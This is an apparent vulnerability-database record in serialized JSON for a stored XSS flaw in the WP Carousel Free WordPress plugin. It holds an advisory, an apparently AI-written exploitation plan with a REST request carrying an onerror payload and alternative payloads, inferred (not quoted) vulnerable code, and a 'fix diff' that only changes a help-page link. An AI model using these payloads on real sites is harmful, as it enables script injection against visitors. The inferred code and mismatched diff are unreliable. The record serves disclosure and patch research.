[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fvHRB8giN5N4C_8OJbiOEsnWpIn69gu7q7-7dao7WoZg":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":33,"research_vulnerable_code":34,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":30,"source_links":40},"CVE-2026-4665","wp-carousel-free-authenticated-contributor-stored-cross-site-scripting-via-data-caption-attribute","WP Carousel Free \u003C= 2.7.10 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'data-caption' Attribute","The WP Carousel Free plugin for WordPress is vulnerable to Stored Cross-Site Scripting via crafted fancybox `data-caption` attributes in all versions up to, and including, 2.7.10. This is due to the `fancybox-config.js` script reading the carousel container's `id` attribute directly from the DOM to construct a jQuery selector without sanitization. When a Contributor crafts an HTML block with a malformed carousel container ID (containing characters invalid for jQuery selectors), the custom fancybox configuration throws a JavaScript error and fails to initialize. This causes the bundled fancybox library (v3.5.7) to fall back to its default caption handling, which renders the `data-caption` attribute content as raw HTML. Since WordPress allows `data-*` attributes through `wp_kses_post()`, this makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user clicks an image in the crafted carousel lightbox.","wp-carousel-free",null,"\u003C=2.7.10","2.7.11","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-05-04 15:01:27","2026-05-05 03:37:39",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fe75815a3-2414-47f3-b0c4-e5d3e2cb369d?source=api-prod",1,[22,23,24,25,26,27,28],"admin\u002Fhelp-page\u002Fhelp.php","admin\u002Fviews\u002Fsp-framework\u002Fassets\u002Fcss\u002Fstyle.css","admin\u002Fviews\u002Fsp-framework\u002Fassets\u002Fcss\u002Fstyle.min.css","public\u002Fjs\u002Ffancybox.js","public\u002Fjs\u002Ffancybox.min.js","readme.txt","wp-carousel-free.php","researched",false,3,"This research plan targets **CVE-2026-4665**, a Stored Cross-Site Scripting (XSS) vulnerability in the **WP Carousel Free** plugin. The vulnerability arises from an unsafe jQuery selector construction in the plugin's custom FancyBox configuration script, which leads to a JavaScript error and a fallback to insecure default caption handling.\n\n---\n\n### 1. Vulnerability Summary\nThe `wp-carousel-free` plugin (versions \u003C= 2.7.10) enqueues a custom script (likely `fancybox-config.js` or similar, localized\u002Floaded by `Public_WP_Carousel_Free` class) to initialize the FancyBox lightbox for carousels. This script reads the `id` attribute of a carousel container from the DOM and uses it directly in a jQuery selector (e.g., `$('#' + containerId)`). \n\nIf an attacker provides an ID containing characters that are invalid for jQuery selectors (like parentheses, spaces, or certain special characters), the script throws a syntax error and stops execution. This failure prevents the plugin from applying its intended sanitization or configuration to FancyBox. Consequently, the bundled FancyBox v3.5.7 library falls back to its default behavior, which is to render the content of the `data-caption` attribute as raw HTML. Since Contributor+ users can inject `data-*` attributes via the WordPress block editor, they can store malicious scripts.\n\n### 2. Attack Vector Analysis\n*   **Endpoint**: Standard WordPress Post\u002FPage creation\u002Fupdate (`wp-json\u002Fwp\u002Fv2\u002Fposts` or `wp-admin\u002Fpost.php`).\n*   **Vulnerable Attribute**: `data-caption`.\n*   **Trigger Attribute**: `id` (must be malformed to crash the JS config).\n*   **Authentication**: Authenticated, Contributor level or higher.\n*   **Preconditions**: The plugin must be active, and its FancyBox scripts must be enqueued on the page (usually triggered by the presence of a carousel shortcode or block).\n\n### 3. Code Flow\n1.  **Entry**: A Contributor user creates a post containing a \"Custom HTML\" block or a crafted Gutenberg block.\n2.  **Storage**: WordPress processes the post. `wp_kses_post()` allows the `data-caption` attribute and the `id` attribute.\n3.  **Frontend Loading**: A user visits the post. The plugin enqueues `public\u002Fjs\u002Ffancybox.js` and the configuration script.\n4.  **JS Execution**: The configuration script iterates through elements with a class like `.wpcp-carousel-section` (inferred).\n5.  **The Sink**:\n    *   The script retrieves `var container_id = $(this).attr('id');`.\n    *   It attempts `$('#' + container_id).fancybox({...})`.\n    *   If `container_id` is `() { : }`, jQuery throws `Uncaught Error: Syntax error, unrecognized expression: #() { : }`.\n6.  **Fallback**: The initialization fails. FancyBox remains unconfigured for that element.\n7.  **Exploitation**: When the user clicks the image\u002Flink, FancyBox v3.5.7 initializes itself using default settings. It reads `data-caption` and inserts it into `.fancybox-caption__body` using `.html()`, executing the payload.\n\n### 4. Nonce Acquisition Strategy\nTo create or update a post via the REST API or AJAX, a valid WordPress nonce is required.\n\n1.  **Action**: Identify the nonce used for the REST API (`wp_rest`).\n2.  **Method**:\n    *   Log in as a Contributor.\n    *   Use `browser_navigate` to go to the WordPress Dashboard (`\u002Fwp-admin\u002F`).\n    *   Use `browser_eval` to extract the REST nonce from the global `wpApiSettings` object.\n3.  **JavaScript**: `window.wpApiSettings?.nonce`\n4.  **Alternative**: If using the standard `post.php` flow, the `_wpnonce` is found in the hidden input fields of the post editor form.\n\n### 5. Exploitation Strategy\n\n#### Step 1: Authenticate\nAuthenticate as a **Contributor** user.\n\n#### Step 2: Obtain REST Nonce\nNavigate to `\u002Fwp-admin\u002F` and execute:\n```javascript\n\u002F\u002F via browser_eval\nreturn window.wpApiSettings.nonce;\n```\n\n#### Step 3: Create Malicious Post\nSend a POST request to `\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts` with the payload. The payload must include the plugin's shortcode to ensure scripts are enqueued, followed by the crafted HTML.\n\n*   **URL**: `http:\u002F\u002Fvulnerable-wp.local\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts`\n*   **Method**: `POST`\n*   **Headers**: \n    *   `Content-Type: application\u002Fjson`\n    *   `X-WP-Nonce: [REST_NONCE]`\n*   **Body**:\n```json\n{\n  \"title\": \"XSS Test Page\",\n  \"status\": \"publish\",\n  \"content\": \"[wp_carousel id=\\\"1\\\"]\\n\u003Cdiv class=\\\"wpcp-carousel-section\\\" id=\\\"() { selector_error }\\\">\\n  \u003Ca data-fancybox=\\\"wpcp-post-1\\\" data-caption=\\\"<img src=x onerror=alert(document.domain)>\\\">\\n    \u003Cimg src=\\\"https:\u002F\u002Fraw.githubusercontent.com\u002Fwp-plugins\u002Fwp-carousel-free\u002Fmaster\u002Fassets\u002Fimages\u002Ficon-256x256.png\\\">\\n    Click for XSS\\n  \u003C\u002Fa>\\n\u003C\u002Fdiv>\"\n}\n```\n*Note: The class `wpcp-carousel-section` is the standard container class used by ShapedPlugin carousels to trigger FancyBox.*\n\n#### Step 4: Trigger XSS\n1.  Navigate to the newly created post URL as any user.\n2.  Observe the browser console for a jQuery syntax error.\n3.  Click the image\u002Flink to open the Lightbox.\n4.  The `alert(document.domain)` should execute when the caption renders.\n\n### 6. Test Data Setup\n1.  **User**: A user with the `contributor` role.\n2.  **Plugin Configuration**: Install and activate `wp-carousel-free` v2.7.10. No specific carousel needs to be created in the admin UI, as we are manually crafting the HTML structure that the JS script targets.\n3.  **Page**: A post or page created by the Contributor.\n\n### 7. Expected Results\n*   **JS Crash**: The browser console shows: `Uncaught Error: Syntax error, unrecognized expression: #() { selector_error }`.\n*   **XSS Execution**: A popup alert showing the domain name appears when the FancyBox lightbox is opened.\n*   **Payload Persistence**: Checking the post content via `wp post get [ID]` confirms the `data-caption` attribute remains intact and unsanitized.\n\n### 8. Verification Steps\n1.  **CLI Check**: Verify the post content.\n    ```bash\n    wp post get [POST_ID] --field=post_content\n    ```\n2.  **HTML Inspection**: Use `http_request` to fetch the post frontend and verify the presence of the malformed ID and the `data-caption` payload.\n    ```bash\n    # Look for the payload in the response\n    grep -P \"data-caption=\\\"<img src=x onerror=alert\\(document\\.domain\\)>\\\"\"\n    ```\n\n### 9. Alternative Approaches\n*   **Alternative Payload**: If `onerror` is filtered by a WAF, use `data-caption=\"<a href='javascript:alert(1)'>Click Me<\u002Fa>\"`.\n*   **Selector Variations**: If `() { selector_error }` does not trigger the error in the specific jQuery version installed, try:\n    *   `id=\"123: [invalid]\"`\n    *   `id=\"#.bad\"`\n    *   `id=\" \"` (A single space)\n*   **Shortcode Injection**: If the Contributor cannot use \"Custom HTML\" blocks, try injecting the attributes into the plugin's own shortcode if it supports them (e.g., `[wp_carousel data_caption=\"...\"]`), though the vulnerability description suggests manual HTML crafting is the primary path.","The WP Carousel Free plugin (versions \u003C= 2.7.10) is vulnerable to Stored Cross-Site Scripting (XSS) due to an unsafe jQuery selector construction in its FancyBox initialization script. An authenticated attacker with Contributor-level access can craft an element with a malformed ID that crashes the custom configuration script, causing the FancyBox library to fall back to default behavior and render malicious HTML within the 'data-caption' attribute.","\u002F\u002F The plugin's initialization script (typically fancybox-config.js) reads IDs directly from the DOM\n\u002F\u002F and uses them in jQuery selectors without sanitization or escaping.\n\n\u002F\u002F Inferred logic based on research plan and vulnerability description:\n$('.wpcp-carousel-section').each(function() {\n    var container_id = $(this).attr('id');\n    $('#' + container_id).fancybox({\n        \u002F\u002F Custom configuration meant to handle captions safely\n    });\n});\n\n\u002F\u002F Path: public\u002Fjs\u002Ffancybox.js (Bundled Library v3.5.7)\n\u002F\u002F Line 175 - The default template includes a caption body that renders content as HTML\nbaseTpl: '\u003Cdiv class=\"fancybox-container\" role=\"dialog\" tabindex=\"-1\">' +\n  '\u003Cdiv class=\"fancybox-bg\">\u003C\u002Fdiv>' +\n  '\u003Cdiv class=\"fancybox-inner\">' +\n  \u002F\u002F ... (truncated)\n  '\u003Cdiv class=\"fancybox-caption\">\u003Cdiv class=\"fancybox-caption__body\">\u003C\u002Fdiv>\u003C\u002Fdiv>' +\n  \"\u003C\u002Fdiv>\" +\n  \"\u003C\u002Fdiv>\",","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-carousel-free\u002F2.7.10\u002Fadmin\u002Fhelp-page\u002Fhelp.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-carousel-free\u002F2.7.11\u002Fadmin\u002Fhelp-page\u002Fhelp.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-carousel-free\u002F2.7.10\u002Fadmin\u002Fhelp-page\u002Fhelp.php\t2026-01-06 12:38:10.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-carousel-free\u002F2.7.11\u002Fadmin\u002Fhelp-page\u002Fhelp.php\t2026-04-15 09:28:40.000000000 +0000\n@@ -459,8 +459,8 @@\n \t\t\t\t\t\t\t\t\u003Cdiv class=\"spwpcp-info-box-title\">\n \t\t\t\t\t\t\t\t\t\u003Ch4>\u003Ci class=\"spwpcp-icon-team-icon\">\u003C\u002Fi> Join The Community\u003C\u002Fh4>\n \t\t\t\t\t\t\t\t\u003C\u002Fdiv>\n-\t\t\t\t\t\t\t\t\u003Cspan class='spwpcp-normal-paragraph'>Join the official ShapedPlugin Facebook group to share your experiences, thoughts, and ideas.\u003C\u002Fspan>\n-\t\t\t\t\t\t\t\t\u003Ca target=\"_blank\" class='spwpcp-small-btn' href=\"https:\u002F\u002Fwww.facebook.com\u002Fgroups\u002FShapedPlugin\u002F\">Join Now\u003C\u002Fa>\n+\t\t\t\t\t\t\t\t\u003Cspan class='spwpcp-normal-paragraph'>Join the official ShapedPlugin community to share your experiences, thoughts, and ideas.\u003C\u002Fspan>\n+\t\t\t\t\t\t\t\t\u003Ca target=\"_blank\" class='spwpcp-small-btn' href=\"https:\u002F\u002Fcommunity.shapedplugin.com\u002Fportal\u002F\">Join Now\u003C\u002Fa>\n \t\t\t\t\t\t\t\u003C\u002Fdiv>\n \t\t\t\t\t\t\u003C\u002Fdiv>\n \t\t\t\t\t\u003C\u002Fdiv>","1. Authenticate to the WordPress site with at least Contributor-level privileges.\n2. Create a new Post or Page and insert a 'Custom HTML' block.\n3. Add a div with the class 'wpcp-carousel-section' and a malformed ID attribute that is invalid for jQuery selectors (e.g., id=\"() { error }\").\n4. Inside this div, add an anchor or image tag with the 'data-fancybox' attribute and a 'data-caption' attribute containing an XSS payload (e.g., \u003Cimg src=x onerror=alert(document.domain)>).\n5. Publish the post and view it as a site visitor.\n6. Click on the image to trigger the FancyBox lightbox. Because the malformed ID causes the plugin's configuration script to throw a JavaScript error and fail, FancyBox v3.5.7 defaults to its insecure caption rendering, executing the script in 'data-caption'.","gemini-3-flash-preview","2026-05-04 16:41:02","2026-05-04 16:41:43",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","2.7.10","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-carousel-free\u002Ftags\u002F2.7.10","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-carousel-free.2.7.10.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-carousel-free\u002Ftags\u002F2.7.11","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-carousel-free.2.7.11.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-carousel-free\u002Ftags"]